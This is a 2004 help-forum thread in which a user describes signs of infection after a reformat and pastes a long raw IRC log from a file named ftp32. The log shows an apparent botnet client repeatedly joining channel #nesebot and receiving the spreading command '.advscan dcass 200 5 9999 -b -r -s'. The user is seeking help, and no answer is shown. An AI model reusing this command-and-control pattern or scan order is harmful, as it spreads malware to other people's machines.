Malaris 0 Posted December 4, 2004 I recently reformated my PC, and the first things I installed were all my anti-virus/worm software, then the drivers for my modem, and finally any other software(games etc.) However, since then, I have found a text document in C:\ drive (my only hard drive) called ftp32. I have never seen this file before, and I have reformated multiple times in the past) In it there is a LOT of text, none of which I understand. Also, I have noticed that seemingly at random, a DOS style command prompt comes up just after I start up my PC, saying something about C:\WINDOWS\System32\ftp 1 file copied 1 file copied 1 file copied There is another line or two, but it comes up so fast I haven't had chance to read it all. I have also noticed my 1/2Mb internet connection has been running very slowly and inconcistently, getting worse the longer I am connected, at times I have to click a link anywhere between 2 times and 40 times to get it to work. (As an example I wrote this then copied it, and had to try and post 7+ times before it worked) As the first thing I do when I start up my PC is connect to the internet, the ftp DOS window thing comes up around the same time, so are these things connected? If they are (or aren't) can anyone help me with either problem? Share this post Link to post
Malaris 0 Posted December 4, 2004 Just ran Spybot-Search and Destroy for the second time (first time it crashed while creating a restore point, I WAS connected to the internet at the time) And deleted some entries named; Alexa Related DSO Exploit The latter of which contained 5 entries which were to do with registries. The internet SEEMS to be working better already (lower amount of clicks to get a link working, but isn't as it should be yet. ftp32 is still in my C:\ drive. Share this post Link to post
Malaris 0 Posted December 4, 2004 The DOS style window I mentioned earlier only comes up AFTER I have connected to the internet, and the full thing reads as follows; processed file: C:\WINDOWS\system32\tftp.exe processed file: C:\WINDOWS\system32\ftp.exe 1 file(s) copied 1 file(s) copied 1 file(s) copied 1 file(s) copied 1 file(s) copied There is now an MS-DOS Batch File called 'tmp' in my C:\ drive. This may be nothing and I'm being paranoid, but even if it is, I would like to know what it is, thanks in advance. Share this post Link to post
Malaris 0 Posted December 5, 2004 Oh sorry, I meant ftp32 was a notepad file, and this is what it says; NICK militia-81329889 USER ytxkfxsfdq 0 0 :militia-81329889 :dev.null 001 militia-81329889 : USERHOST militia-81329889 MODE militia-81329889 -x+B JOIN #nesebot nesebot :dev.null 002 militia-81329889 : :dev.null 003 militia-81329889 : :dev.null 004 militia-81329889 :dev.null 302 militia-81329889 :militia-81329889=+~ytxkfxsfd@81.156.222.174 :dev.null 501 militia-81329889 :Unknown MODE flag :dev.null 332 militia-81329889 #nesebot :.advscan dcass 200 5 9999 -b -r -s :dev.null 333 militia-81329889 #nesebot god 1100231107 NICK militia-50112329 USER kgespfgki 0 0 :militia-50112329 :dev.null 001 militia-50112329 : USERHOST militia-50112329 MODE militia-50112329 -x+B JOIN #nesebot nesebot :dev.null 002 militia-50112329 : :dev.null 003 militia-50112329 : :dev.null 004 militia-50112329 :dev.null 302 militia-50112329 :militia-50112329=+~kgespfgki@81.157.105.238 :dev.null 501 militia-50112329 :Unknown MODE flag :dev.null 332 militia-50112329 #nesebot :.advscan dcass 200 5 9999 -b -r -s :dev.null 333 militia-50112329 #nesebot god 1100231107 PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot NICK militia-20374137 USER seheguyn 0 0 :militia-20374137 NICK militia-67517968 USER cnxqwvzt 0 0 :militia-67517968 :dev.null 001 militia-67517968 : USERHOST militia-67517968 MODE militia-67517968 -x+B JOIN #nesebot nesebot :dev.null 002 militia-67517968 : :dev.null 003 militia-67517968 : :dev.null 004 militia-67517968 :dev.null 302 militia-67517968 :militia-67517968=+~cnxqwvzt@81.157.107.107 :dev.null 501 militia-67517968 :Unknown MODE flag :dev.null 332 militia-67517968 #nesebot :.advscan dcass 200 5 9999 -b -r -s :dev.null 333 militia-67517968 #nesebot god 1100231107 NICK militia-16949390 USER rdkcjunzcx 0 0 :militia-16949390 :dev.null 001 militia-16949390 : USERHOST militia-16949390 MODE militia-16949390 -x+B JOIN #nesebot nesebot :dev.null 002 militia-16949390 : :dev.null 003 militia-16949390 : :dev.null 004 militia-16949390 :dev.null 302 militia-16949390 :militia-16949390=+~rdkcjunzc@81.156.222.89 :dev.null 501 militia-16949390 :Unknown MODE flag :dev.null 332 militia-16949390 #nesebot :.advscan dcass 200 5 9999 -b -r -s PRIVMSG #nesebot :[sCAN]: Already 201 scanning threads. Too many specified. :dev.null 333 militia-16949390 #nesebot god 1100231107 PING :dev.null PONG :dev.null JOIN #nesebot nesebot NICK militia-22772318 USER xoircabh 0 0 :militia-22772318 :dev.null 001 militia-22772318 : USERHOST militia-22772318 MODE militia-22772318 -x+B JOIN #nesebot nesebot :dev.null 002 militia-22772318 : :dev.null 003 militia-22772318 : :dev.null 004 militia-22772318 :dev.null 302 militia-22772318 :militia-22772318=+~xoircabh@81.156.219.214 :dev.null 501 militia-22772318 :Unknown MODE flag :dev.null 332 militia-22772318 #nesebot :.advscan dcass 200 5 9999 -b -r -s :dev.null 333 militia-22772318 #nesebot god 1100231107 PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot NICK militia-71385752 USER nfsrqmrhsn 0 0 :militia-71385752 :dev.null 001 militia-71385752 : USERHOST militia-71385752 MODE militia-71385752 -x+B JOIN #nesebot nesebot :dev.null 002 militia-71385752 : :dev.null 003 militia-71385752 : :dev.null 004 militia-71385752 :dev.null 302 militia-71385752 :militia-71385752=+~nfsrqmrhs@81.157.24.234 :dev.null 501 militia-71385752 :Unknown MODE flag :dev.null 332 militia-71385752 #nesebot :.advscan dcass 200 5 9999 -b -r -s PRIVMSG #nesebot :[sCAN]: Already 201 scanning threads. Too many specified. :dev.null 333 militia-71385752 #nesebot god 1100231107 NICK militia-80496408 USER pccdrvbzhl 0 0 :militia-80496408 :dev.null 001 militia-80496408 : USERHOST militia-80496408 MODE militia-80496408 -x+B JOIN #nesebot nesebot :dev.null 002 militia-80496408 : :dev.null 003 militia-80496408 : :dev.null 004 militia-80496408 :dev.null 302 militia-80496408 :militia-80496408=+~pccdrvbzh@81.156.222.118 :dev.null 501 militia-80496408 :Unknown MODE flag :dev.null 332 militia-80496408 #nesebot :.advscan dcass 200 5 9999 -b -r -s :dev.null 333 militia-80496408 #nesebot god 1100231107 PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot NICK militia-82629592 USER hwyxmkoju 0 0 :militia-82629592 :dev.null 001 militia-82629592 : USERHOST militia-82629592 MODE militia-82629592 -x+B JOIN #nesebot nesebot :dev.null 002 militia-82629592 : :dev.null 003 militia-82629592 : :dev.null 004 militia-82629592 :dev.null 302 militia-82629592 :militia-82629592=+~hwyxmkoju@81.157.28.203 :dev.null 501 militia-82629592 :Unknown MODE flag :dev.null 332 militia-82629592 #nesebot :.advscan dcass 200 5 9999 -b -r -s PRIVMSG #nesebot :[sCAN]: Already 201 scanning threads. Too many specified. :dev.null 333 militia-82629592 #nesebot god 1100231107 NICK militia-92391909 USER wztoalcch 0 0 :militia-92391909 :dev.null 001 militia-92391909 : USERHOST militia-92391909 MODE militia-92391909 -x+B JOIN #nesebot nesebot :dev.null 002 militia-92391909 : :dev.null 003 militia-92391909 : :dev.null 004 militia-92391909 :dev.null 302 militia-92391909 :militia-92391909=+~wztoalcch@81.157.25.142 :dev.null 501 militia-92391909 :Unknown MODE flag :dev.null 332 militia-92391909 #nesebot :.advscan dcass 200 5 9999 -b -r -s PRIVMSG #nesebot :[sCAN]: Already 201 scanning threads. Too many specified. :dev.null 333 militia-92391909 #nesebot god 1100231107 PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot NICK militia-83240509 USER wskggcal 0 0 :militia-83240509 :dev.null 001 militia-83240509 : USERHOST militia-83240509 MODE militia-83240509 -x+B JOIN #nesebot nesebot :dev.null 002 militia-83240509 : :dev.null 003 militia-83240509 : :dev.null 004 militia-83240509 :dev.null 302 militia-83240509 :militia-83240509=+~wskggcal@81.157.25.71 :dev.null 501 militia-83240509 :Unknown MODE flag :dev.null 332 militia-83240509 #nesebot :.advscan dcass 200 5 9999 -b -r -s :dev.null 333 militia-83240509 #nesebot god 1100231107 PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot NICK militia-11649540 USER tygfhhdad 0 0 :militia-11649540 :dev.null 001 militia-11649540 : USERHOST militia-11649540 MODE militia-11649540 -x+B JOIN #nesebot nesebot :dev.null 002 militia-11649540 : :dev.null 003 militia-11649540 : :dev.null 004 militia-11649540 :dev.null 302 militia-11649540 :militia-11649540=+~tygfhhdad@81.157.171.93 :dev.null 501 militia-11649540 :Unknown MODE flag :dev.null 332 militia-11649540 #nesebot :.advscan dcass 200 5 9999 -b -r -s :dev.null 333 militia-11649540 #nesebot god 1100231107 PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot NICK militia-77367208 USER ryzbqtph 0 0 :militia-77367208 :dev.null 001 militia-77367208 : USERHOST militia-77367208 MODE militia-77367208 -x+B JOIN #nesebot nesebot :dev.null 002 militia-77367208 : :dev.null 003 militia-77367208 : :dev.null 004 militia-77367208 :dev.null 302 militia-77367208 :militia-77367208=+~ryzbqtph@81.157.105.73 :dev.null 501 militia-77367208 :Unknown MODE flag :dev.null 332 militia-77367208 #nesebot :.advscan dcass 200 5 9999 -b -r -s :dev.null 333 militia-77367208 #nesebot g 1101682986 PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot NICK militia-76756251 USER bjlearnmwl 0 0 :militia-76756251 :dev.null 001 militia-76756251 : USERHOST militia-76756251 MODE militia-76756251 -x+B JOIN #nesebot nesebot :dev.null 002 militia-76756251 : :dev.null 003 militia-76756251 : :dev.null 004 militia-76756251 :dev.null 302 militia-76756251 :militia-76756251=+~bjlearnmw@81.156.221.78 :dev.null 501 militia-76756251 :Unknown MODE flag :dev.null 332 militia-76756251 #nesebot :.advscan dcass 200 5 9999 -b -r -s PRIVMSG #nesebot :[sCAN]: Already 201 scanning threads. Too many specified. :dev.null 333 militia-76756251 #nesebot g 1101682986 NICK militia-45595550 USER syuwtzogk 0 0 :militia-45595550 :dev.null 001 militia-45595550 : USERHOST militia-45595550 MODE militia-45595550 -x+B JOIN #nesebot nesebot :dev.null 002 militia-45595550 : :dev.null 003 militia-45595550 : :dev.null 004 militia-45595550 :dev.null 302 militia-45595550 :militia-45595550=+~syuwtzogk@81.157.107.70 :dev.null 501 militia-45595550 :Unknown MODE flag :dev.null 332 militia-45595550 #nesebot :.advscan dcass 200 5 9999 -b -r -s :dev.null 333 militia-45595550 #nesebot g 1101682986 PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot NICK militia-04681838 USER qtrktcmna 0 0 :militia-04681838 :dev.null 001 militia-04681838 : USERHOST militia-04681838 MODE militia-04681838 -x+B JOIN #nesebot nesebot :dev.null 002 militia-04681838 : :dev.null 003 militia-04681838 : :dev.null 004 militia-04681838 :dev.null 302 militia-04681838 :militia-04681838=+~qtrktcmna@81.157.26.227 :dev.null 501 militia-04681838 :Unknown MODE flag :dev.null 332 militia-04681838 #nesebot :.advscan dcass 200 5 9999 -b -r -s PRIVMSG #nesebot :[sCAN]: Already 201 scanning threads. Too many specified. :dev.null 333 militia-04681838 #nesebot g 1101682986 NICK militia-21475758 USER bzvhrhix 0 0 :militia-21475758 :dev.null 001 militia-21475758 : USERHOST militia-21475758 MODE militia-21475758 -x+B JOIN #nesebot nesebot :dev.null 002 militia-21475758 : :dev.null 003 militia-21475758 : :dev.null 004 militia-21475758 :dev.null 302 militia-21475758 :militia-21475758=+~bzvhrhix@81.157.25.38 :dev.null 501 militia-21475758 :Unknown MODE flag :dev.null 332 militia-21475758 #nesebot :.advscan dcass 200 5 9999 -b -r -s :dev.null 333 militia-21475758 #nesebot g 1101682986 NICK militia-51805922 USER hkpcvhtue 0 0 :militia-51805922 :dev.null 001 militia-51805922 : USERHOST militia-51805922 MODE militia-51805922 -x+B JOIN #nesebot nesebot :dev.null 002 militia-51805922 : :dev.null 003 militia-51805922 : :dev.null 004 militia-51805922 :dev.null 302 militia-51805922 :militia-51805922=+~hkpcvhtue@81.156.220.160 :dev.null 501 militia-51805922 :Unknown MODE flag :dev.null 332 militia-51805922 #nesebot :.advscan dcass 200 5 9999 -b -r -s PRIVMSG #nesebot :[sCAN]: Already 201 scanning threads. Too many specified. :dev.null 333 militia-51805922 #nesebot g 1101682986 NICK militia-18998385 USER rarbxguf 0 0 :militia-18998385 :dev.null 001 militia-18998385 : USERHOST militia-18998385 MODE militia-18998385 -x+B JOIN #nesebot nesebot :dev.null 002 militia-18998385 : :dev.null 003 militia-18998385 : :dev.null 004 militia-18998385 :dev.null 302 militia-18998385 :militia-18998385=+~rarbxguf@81.157.111.62 :dev.null 501 militia-18998385 :Unknown MODE flag :dev.null 332 militia-18998385 #nesebot :.advscan dcass 200 5 9999 -b -r -s PRIVMSG #nesebot :[sCAN]: Already 201 scanning threads. Too many specified. :dev.null 333 militia-18998385 #nesebot g 1101682986 NICK militia-03341803 USER ssmxpetow 0 0 :militia-03341803 :dev.null 001 militia-03341803 : USERHOST militia-03341803 MODE militia-03341803 -x+B JOIN #nesebot nesebot :dev.null 002 militia-03341803 : :dev.null 003 militia-03341803 : :dev.null 004 militia-03341803 :dev.null 302 militia-03341803 :militia-03341803=+~ssmxpetow@81.157.105.165 :dev.null 501 militia-03341803 :Unknown MODE flag :dev.null 332 militia-03341803 #nesebot :.advscan dcass 200 5 9999 -b -r -s :dev.null 333 militia-03341803 #nesebot g 1101682986 PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot NICK militia-90454100 USER hdxikxxbbw 0 0 :militia-90454100 :dev.null 001 militia-90454100 : USERHOST militia-90454100 MODE militia-90454100 -x+B JOIN #nesebot nesebot :dev.null 002 militia-90454100 : :dev.null 003 militia-90454100 : :dev.null 004 militia-90454100 :dev.null 302 militia-90454100 :militia-90454100=+~hdxikxxbb@81.156.220.23 :dev.null 501 militia-90454100 :Unknown MODE flag :dev.null 332 militia-90454100 #nesebot :.advscan dcass 200 5 9999 -b -r -s :dev.null 333 militia-90454100 #nesebot g 1101682986 PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot NICK militia-17669183 USER fyzsgctzoa 0 0 :militia-17669183 :dev.null 001 militia-17669183 : USERHOST militia-17669183 MODE militia-17669183 -x+B JOIN #nesebot nesebot :dev.null 002 militia-17669183 : :dev.null 003 militia-17669183 : :dev.null 004 militia-17669183 :dev.null 302 militia-17669183 :militia-17669183=+~fyzsgctzo@81.156.219.246 :dev.null 501 militia-17669183 :Unknown MODE flag :dev.null 332 militia-17669183 #nesebot :.advscan dcass 200 5 9999 -b -r -s :dev.null 333 militia-17669183 #nesebot g 1101682986 PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot NICK militia-82752427 USER vodlsphrj 0 0 :militia-82752427 :dev.null 001 militia-82752427 : USERHOST militia-82752427 MODE militia-82752427 -x+B JOIN #nesebot nesebot :dev.null 002 militia-82752427 : :dev.null 003 militia-82752427 : :dev.null 004 militia-82752427 :dev.null 302 militia-82752427 :militia-82752427=+~vodlsphrj@81.157.107.63 :dev.null 501 militia-82752427 :Unknown MODE flag :dev.null 332 militia-82752427 #nesebot :.advscan dcass 200 5 9999 -b -r -s :dev.null 333 militia-82752427 #nesebot g 1101682986 PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot NICK militia-75186340 USER ocltwsuc 0 0 :militia-75186340 :dev.null 001 militia-75186340 : USERHOST militia-75186340 MODE militia-75186340 -x+B JOIN #nesebot nesebot :dev.null 002 militia-75186340 : :dev.null 003 militia-75186340 : :dev.null 004 militia-75186340 :dev.null 302 militia-75186340 :militia-75186340=+~ocltwsuc@81.157.111.220 :dev.null 501 militia-75186340 :Unknown MODE flag :dev.null 332 militia-75186340 #nesebot :.advscan dcass 200 5 9999 -b -r -s :dev.null 333 militia-75186340 #nesebot g 1101682986 PING :dev.null PONG :dev.null JOIN #nesebot nesebot NICK militia-60214635 USER wqnwlembdb 0 0 :militia-60214635 :dev.null 001 militia-60214635 : USERHOST militia-60214635 MODE militia-60214635 -x+B JOIN #nesebot nesebot :dev.null 002 militia-60214635 : :dev.null 003 militia-60214635 : :dev.null 004 militia-60214635 :dev.null 302 militia-60214635 :militia-60214635=+~wqnwlembd@81.157.107.71 :dev.null 501 militia-60214635 :Unknown MODE flag :dev.null 332 militia-60214635 #nesebot :.advscan dcass 200 5 9999 -b -r -s :dev.null 333 militia-60214635 #nesebot g 1101682986 NICK militia-13098477 USER gshgdackt 0 0 :militia-13098477 NICK militia-86216571 USER jjhqiftnc 0 0 :militia-86216571 :dev.null 001 militia-86216571 : USERHOST militia-86216571 MODE militia-86216571 -x+B JOIN #nesebot nesebot :dev.null 002 militia-86216571 : :dev.null 003 militia-86216571 : :dev.null 004 militia-86216571 :dev.null 302 militia-86216571 :militia-86216571=+~jjhqiftnc@81.157.26.107 :dev.null 501 militia-86216571 :Unknown MODE flag :dev.null 332 militia-86216571 #nesebot :.advscan dcass 200 5 9999 -b -r -s :dev.null 333 militia-86216571 #nesebot g 1101682986 PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot NICK militia-75528610 USER bbmsksur 0 0 :militia-75528610 :dev.null 001 militia-75528610 : USERHOST militia-75528610 MODE militia-75528610 -x+B JOIN #nesebot nesebot :dev.null 002 militia-75528610 : :dev.null 003 militia-75528610 : :dev.null 004 militia-75528610 :dev.null 302 militia-75528610 :militia-75528610=+~bbmsksur@81.157.105.192 :dev.null 501 militia-75528610 :Unknown MODE flag :dev.null 332 militia-75528610 #nesebot :.advscan dcass 200 5 9999 -b -r -s PRIVMSG #nesebot :[sCAN]: Already 201 scanning threads. Too many specified. :dev.null 333 militia-75528610 #nesebot g 1101682986 NICK militia-00127656 USER txcyiacwq 0 0 :militia-00127656 :dev.null 001 militia-00127656 : USERHOST militia-00127656 MODE militia-00127656 -x+B JOIN #nesebot nesebot :dev.null 002 militia-00127656 : :dev.null 003 militia-00127656 : :dev.null 004 militia-00127656 :dev.null 302 militia-00127656 :militia-00127656=+~txcyiacwq@81.157.26.109 :dev.null 501 militia-00127656 :Unknown MODE flag :dev.null 332 militia-00127656 #nesebot :.advscan dcass 200 5 9999 -b -r -s :dev.null 333 militia-00127656 #nesebot g 1101682986 PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot NICK militia-03532792 USER eqjoiufuzh 0 0 :militia-03532792 :dev.null 001 militia-03532792 : USERHOST militia-03532792 MODE militia-03532792 -x+B JOIN #nesebot nesebot :dev.null 002 militia-03532792 : :dev.null 003 militia-03532792 : :dev.null 004 militia-03532792 :dev.null 302 militia-03532792 :militia-03532792=+~eqjoiufuz@81.156.221.227 :dev.null 501 militia-03532792 :Unknown MODE flag :dev.null 332 militia-03532792 #nesebot :.advscan dcass 200 5 9999 -b -r -s :dev.null 333 militia-03532792 #nesebot g 1101682986 PING :dev.null PONG :dev.null JOIN #nesebot nesebot NICK militia-65528795 USER psquqyfwg 0 0 :militia-65528795 :dev.null 001 militia-65528795 : USERHOST militia-65528795 MODE militia-65528795 -x+B JOIN #nesebot nesebot :dev.null 002 militia-65528795 : :dev.null 003 militia-65528795 : :dev.null 004 militia-65528795 :dev.null 302 militia-65528795 :militia-65528795=+~psquqyfwg@81.156.221.44 :dev.null 501 militia-65528795 :Unknown MODE flag :dev.null 332 militia-65528795 #nesebot :.advscan dcass 200 5 9999 -b -r -s PRIVMSG #nesebot :[sCAN]: Already 201 scanning threads. Too many specified. :dev.null 333 militia-65528795 #nesebot g 1101682986 NICK militia-15938468 USER bahgvkzvr 0 0 :militia-15938468 :dev.null 001 militia-15938468 : USERHOST militia-15938468 MODE militia-15938468 -x+B JOIN #nesebot nesebot :dev.null 002 militia-15938468 : :dev.null 003 militia-15938468 : :dev.null 004 militia-15938468 :dev.null 302 militia-15938468 :militia-15938468=+~bahgvkzvr@81.157.25.1 :dev.null 501 militia-15938468 :Unknown MODE flag :dev.null 332 militia-15938468 #nesebot :.advscan dcass 200 5 9999 -b -r -s :dev.null 333 militia-15938468 #nesebot g 1101682986 PING :dev.null PONG :dev.null JOIN #nesebot nesebot NICK militia-58352106 USER rztievsg 0 0 :militia-58352106 :dev.null 433 * militia-58352106 :Nickname is already in use. NICK militia-25843945 :dev.null 001 militia-25843945 : USERHOST militia-25843945 MODE militia-25843945 -x+B JOIN #nesebot nesebot :dev.null 002 militia-25843945 : :dev.null 003 militia-25843945 : :dev.null 004 militia-25843945 :dev.null 302 militia-25843945 :militia-25843945=+~rztievsg@81.156.219.190 :dev.null 501 militia-25843945 :Unknown MODE flag :dev.null 332 militia-25843945 #nesebot :.advscan dcass 200 5 9999 -b -r -s :dev.null 333 militia-25843945 #nesebot g 1101682986 NICK militia-86587448 USER arhpletez 0 0 :militia-86587448 :dev.null 001 militia-86587448 : USERHOST militia-86587448 MODE militia-86587448 -x+B JOIN #nesebot nesebot :dev.null 002 militia-86587448 : :dev.null 003 militia-86587448 : :dev.null 004 militia-86587448 :dev.null 302 militia-86587448 :militia-86587448=+~arhpletez@81.157.24.140 :dev.null 501 militia-86587448 :Unknown MODE flag :dev.null 332 militia-86587448 #nesebot :.advscan dcass 200 5 9999 -b -r -s PRIVMSG #nesebot :[sCAN]: Already 201 scanning threads. Too many specified. :dev.null 333 militia-86587448 #nesebot g 1101682986 NICK militia-34424220 USER aeqpqcaa 0 0 :militia-34424220 :dev.null 001 militia-34424220 : USERHOST militia-34424220 MODE militia-34424220 -x+B JOIN #nesebot nesebot :dev.null 002 militia-34424220 : :dev.null 003 militia-34424220 : :dev.null 004 militia-34424220 :dev.null 302 militia-34424220 :militia-34424220=+~aeqpqcaa@81.156.221.91 :dev.null 501 militia-34424220 :Unknown MODE flag :dev.null 332 militia-34424220 #nesebot :.advscan dcass 200 5 9999 -b -r -s PRIVMSG #nesebot :[sCAN]: Already 201 scanning threads. Too many specified. :dev.null 333 militia-34424220 #nesebot g 1101682986 PING :dev.null PONG :dev.null JOIN #nesebot nesebot NICK militia-81481288 USER glotbsxfhb 0 0 :militia-81481288 :dev.null 001 militia-81481288 : USERHOST militia-81481288 MODE militia-81481288 -x+B JOIN #nesebot nesebot :dev.null 002 militia-81481288 : :dev.null 003 militia-81481288 : :dev.null 004 militia-81481288 :dev.null 302 militia-81481288 :militia-81481288=+~glotbsxfh@81.157.111.141 :dev.null 501 militia-81481288 :Unknown MODE flag :dev.null 332 militia-81481288 #nesebot :.advscan dcass 200 5 9999 -b -r -s :dev.null 333 militia-81481288 #nesebot g 1101682986 PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot NICK militia-54668886 USER yxnwfmdhl 0 0 :militia-54668886 :dev.null 001 militia-54668886 : USERHOST militia-54668886 MODE militia-54668886 -x+B JOIN #nesebot nesebot :dev.null 002 militia-54668886 : :dev.null 003 militia-54668886 : :dev.null 004 militia-54668886 :dev.null 302 militia-54668886 :militia-54668886=+~yxnwfmdhl@81.157.233.93 :dev.null 501 militia-54668886 :Unknown MODE flag :dev.null 332 militia-54668886 #nesebot :.advscan dcass 200 5 9999 -b -r -s :dev.null 333 militia-54668886 #nesebot g 1101682986 PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot NICK militia-59677041 USER syuwtzogk 0 0 :militia-59677041 :dev.null 433 * militia-59677041 :Nickname is already in use. NICK militia-23086253 :dev.null 001 militia-23086253 : USERHOST militia-23086253 MODE militia-23086253 -x+B JOIN #nesebot nesebot :dev.null 002 militia-23086253 : :dev.null 003 militia-23086253 : :dev.null 004 militia-23086253 :dev.null 302 militia-23086253 :militia-23086253=+~syuwtzogk@81.157.172.178 :dev.null 501 militia-23086253 :Unknown MODE flag :dev.null 332 militia-23086253 #nesebot :.advscan dcass 200 5 9999 -b -r -s :dev.null 333 militia-23086253 #nesebot g 1101682986 PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot NICK militia-65010499 USER rtxjvifuik 0 0 :militia-65010499 :dev.null 001 militia-65010499 : USERHOST militia-65010499 MODE militia-65010499 -x+B JOIN #nesebot nesebot :dev.null 002 militia-65010499 : :dev.null 003 militia-65010499 : :dev.null 004 militia-65010499 :dev.null 302 militia-65010499 :militia-65010499=+~rtxjvifui@81.157.107.57 :dev.null 501 militia-65010499 :Unknown MODE flag :dev.null 332 militia-65010499 #nesebot :.advscan dcass 200 5 9999 -b -r -s :dev.null 333 militia-65010499 #nesebot g 1101682986 PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot NICK militia-63179752 USER iprvmtdqe 0 0 :militia-63179752 :dev.null 001 militia-63179752 : USERHOST militia-63179752 MODE militia-63179752 -x+B JOIN #nesebot nesebot :dev.null 002 militia-63179752 : :dev.null 003 militia-63179752 : :dev.null 004 militia-63179752 :dev.null 302 militia-63179752 :militia-63179752=+~iprvmtdqe@81.157.111.212 :dev.null 501 militia-63179752 :Unknown MODE flag :dev.null 332 militia-63179752 #nesebot :.advscan dcass 200 5 9999 -b -r -s :dev.null 333 militia-63179752 #nesebot g 1101682986 PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING :dev.null PONG :dev.null JOIN #nesebot nesebot PING 